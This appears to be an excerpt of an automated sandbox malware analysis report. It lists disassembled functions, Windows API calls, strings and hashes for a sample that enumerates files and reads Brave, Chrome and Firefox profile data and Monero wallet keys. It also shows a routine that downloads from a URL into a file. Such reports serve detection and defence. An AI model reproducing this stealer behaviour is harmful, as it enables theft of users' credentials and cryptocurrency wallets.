Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: cdd4168bc0faaff0f9ec1f676d23c735e3eb9df0b833bb15b7ef5ed405fb8579
Instruction ID: ba032e4850b359891abd7ad1c709d4e2ce5263a293845474053e54b48ba1233f
Opcode Fuzzy Hash: cdd4168bc0faaff0f9ec1f676d23c735e3eb9df0b833bb15b7ef5ed405fb8579
Instruction Fuzzy Hash: 2B426672900104ABCB14FB70DD9AEED77BCAF94300F4455A9F546B7181EE34AB89CB92

Function 6CAD35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CB5F688,00001000), ref: 6CAD35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAD35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CAD35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAD363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAD369F
__aulldiv.LIBCMT ref: 6CAD36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CAD3773
EnterCriticalSection.KERNEL32(6CB5F688), ref: 6CAD377E
LeaveCriticalSection.KERNEL32(6CB5F688), ref: 6CAD37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CAD37C4
EnterCriticalSection.KERNEL32(6CB5F688), ref: 6CAD37CB
LeaveCriticalSection.KERNEL32(6CB5F688), ref: 6CAD3801
__aulldiv.LIBCMT ref: 6CAD3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CAD3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CAD3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CAD394C

Strings

GTC, xrefs: 6CAD3912
MOZ_TIMESTAMP_MODE, xrefs: 6CAD35DB
GenuntelineI, xrefs: 6CAD3639
QPC, xrefs: 6CAD38FC
AuthcAMDenti, xrefs: 6CAD3946

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 5e96fb7d18b8b5dbf1460e66221b83ccb48ed61ab5a8d84835a39602ae7b113f
Instruction ID: 95bf5db5b0ebb5880c8b0fa89e6741b461b4431e1eda18075855c6483917fb64
Opcode Fuzzy Hash: 5e96fb7d18b8b5dbf1460e66221b83ccb48ed61ab5a8d84835a39602ae7b113f
Instruction Fuzzy Hash: DDB1E671B093509FDB08DF28C85461ABBF6FB8A704F49892EE899D7790D774A844CB81

Function 00E34910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00E3492C
FindFirstFileA.KERNEL32(?,?), ref: 00E34943
StrCmpCA.SHLWAPI(?,00E40FDC), ref: 00E34971
StrCmpCA.SHLWAPI(?,00E40FE0), ref: 00E34987
FindNextFileA.KERNEL32(000000FF,?), ref: 00E34B7D
FindClose.KERNEL32(000000FF), ref: 00E34B92

Strings

%s\*, xrefs: 00E34920
%s\%s, xrefs: 00E349FB
%s\%s, xrefs: 00E349A4

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: f0a40c1d79d97360d4ab780ffd6c4532f376d1b2312b1c09f2537978c0143478
Instruction ID: 4efdcb2e62b0e293f5d9e3991e94f8fa99d1c510ed1e1af91c12f290f491f4a0
Opcode Fuzzy Hash: f0a40c1d79d97360d4ab780ffd6c4532f376d1b2312b1c09f2537978c0143478
Instruction Fuzzy Hash: 776159B1600214ABCB34EBA0EC49FEA77BCBB48700F044598F649B6145EB75EB45CF91

Function 00E33EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00E33EC3
FindFirstFileA.KERNEL32(?,?), ref: 00E33EDA
StrCmpCA.SHLWAPI(?,00E40FAC), ref: 00E33F08
StrCmpCA.SHLWAPI(?,00E40FB0), ref: 00E33F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00E3406C
FindClose.KERNEL32(000000FF), ref: 00E34081

Strings

%s\%s, xrefs: 00E33EB7

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 509decea0ca7c58e3a0dabf1c9b6f24bbe2f6d695c1cffaba6da9d58cd86cc53
Instruction ID: fbbc8a6d877f75a2d541367b40b0c3b12c8399c1ebf89a2246d66d194a970193
Opcode Fuzzy Hash: 509decea0ca7c58e3a0dabf1c9b6f24bbe2f6d695c1cffaba6da9d58cd86cc53
Instruction Fuzzy Hash: 5C5137B5A00218EBCB24FB70DC49EEA777CBB48300F445598F659A6044DB75EB85CF51

Function 00E2F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

Part of subcall function 00E3A920: lstrcpy.KERNEL32(00000000,?), ref: 00E3A972
Part of subcall function 00E3A920: lstrcat.KERNEL32(00000000), ref: 00E3A982

Part of subcall function 00E3A9B0: lstrlen.KERNEL32(?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E3A9C5
Part of subcall function 00E3A9B0: lstrcpy.KERNEL32(00000000), ref: 00E3AA04
Part of subcall function 00E3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E3AA12

Part of subcall function 00E3A8A0: lstrcpy.KERNEL32(?,00E40E17), ref: 00E3A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00E415B8,00E40D96), ref: 00E2F71E
StrCmpCA.SHLWAPI(?,00E415BC), ref: 00E2F76F
StrCmpCA.SHLWAPI(?,00E415C0), ref: 00E2F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 00E2FAB1
FindClose.KERNEL32(000000FF), ref: 00E2FAC3

Strings

prefs.js, xrefs: 00E2F812

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 5551ca4f520f717e69fea3d2c96ec703235808cc6af670e3b384e4ff78bdc994
Instruction ID: 3862e49a5b9dc122275264831a651bb304cbc27f8a66904206723fe35858d55f
Opcode Fuzzy Hash: 5551ca4f520f717e69fea3d2c96ec703235808cc6af670e3b384e4ff78bdc994
Instruction Fuzzy Hash: 3FB154729001189BCB28FF60DC99BEE77B9AF94300F4451B9E44AB7141EF356B89CB91

Function 00E216D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00E4510C,?,?,?,00E451B4,?,?,00000000,?,00000000), ref: 00E21923
StrCmpCA.SHLWAPI(?,00E4525C), ref: 00E21973
StrCmpCA.SHLWAPI(?,00E45304), ref: 00E21989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00E21D40
DeleteFileA.KERNEL32(00000000), ref: 00E21DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00E21E20
FindClose.KERNEL32(000000FF), ref: 00E21E32

Part of subcall function 00E3A920: lstrcpy.KERNEL32(00000000,?), ref: 00E3A972
Part of subcall function 00E3A920: lstrcat.KERNEL32(00000000), ref: 00E3A982

Part of subcall function 00E3A9B0: lstrlen.KERNEL32(?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E3A9C5
Part of subcall function 00E3A9B0: lstrcpy.KERNEL32(00000000), ref: 00E3AA04
Part of subcall function 00E3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E3AA12

Part of subcall function 00E3A8A0: lstrcpy.KERNEL32(?,00E40E17), ref: 00E3A905

Strings

\*.*, xrefs: 00E217F1

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 75d82092077d844e5a99e00629c4949f6aba768afea9855881dbf40657fa4dcb
Instruction ID: a788a0bada7b81aeb1962abd0babeedb98e22a4ad31a052f97181cda620a3dc7
Opcode Fuzzy Hash: 75d82092077d844e5a99e00629c4949f6aba768afea9855881dbf40657fa4dcb
Instruction Fuzzy Hash: 8012EE72910118ABDB19FB60DC9AAEE77B8AF54300F4461E9B14676091EF306FC9CF91

Function 00E2DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

Part of subcall function 00E3A920: lstrcpy.KERNEL32(00000000,?), ref: 00E3A972
Part of subcall function 00E3A920: lstrcat.KERNEL32(00000000), ref: 00E3A982

Part of subcall function 00E3A9B0: lstrlen.KERNEL32(?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E3A9C5
Part of subcall function 00E3A9B0: lstrcpy.KERNEL32(00000000), ref: 00E3AA04
Part of subcall function 00E3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E3AA12

Part of subcall function 00E3A8A0: lstrcpy.KERNEL32(?,00E40E17), ref: 00E3A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00E414B0,00E40C2A), ref: 00E2DAEB
StrCmpCA.SHLWAPI(?,00E414B4), ref: 00E2DB33
StrCmpCA.SHLWAPI(?,00E414B8), ref: 00E2DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 00E2DDCC
FindClose.KERNEL32(000000FF), ref: 00E2DDDE

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: b6000b0cd73cb1420c1cd006bac56ce88b4ddbaab4ceef1d285aa39e377fe247
Instruction ID: 40cb7aab52840d911ac597075beabec4b551f4ad59b4116abb34c2b6765a170d
Opcode Fuzzy Hash: b6000b0cd73cb1420c1cd006bac56ce88b4ddbaab4ceef1d285aa39e377fe247
Instruction Fuzzy Hash: 8A916972900114ABCB14FF70EC9A9ED77BCAF94300F4496A9F946B7141EE349B49CB92

Function 00E260A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E3A7E6

Part of subcall function 00E247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E24839
Part of subcall function 00E247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00E24849

InternetOpenA.WININET(00E40DF7,00000001,00000000,00000000,00000000), ref: 00E2610F
StrCmpCA.SHLWAPI(?,0180FB60), ref: 00E26147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00E2618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00E261B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00E261DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00E2620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00E26249
InternetCloseHandle.WININET(?), ref: 00E26253
InternetCloseHandle.WININET(00000000), ref: 00E26260

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
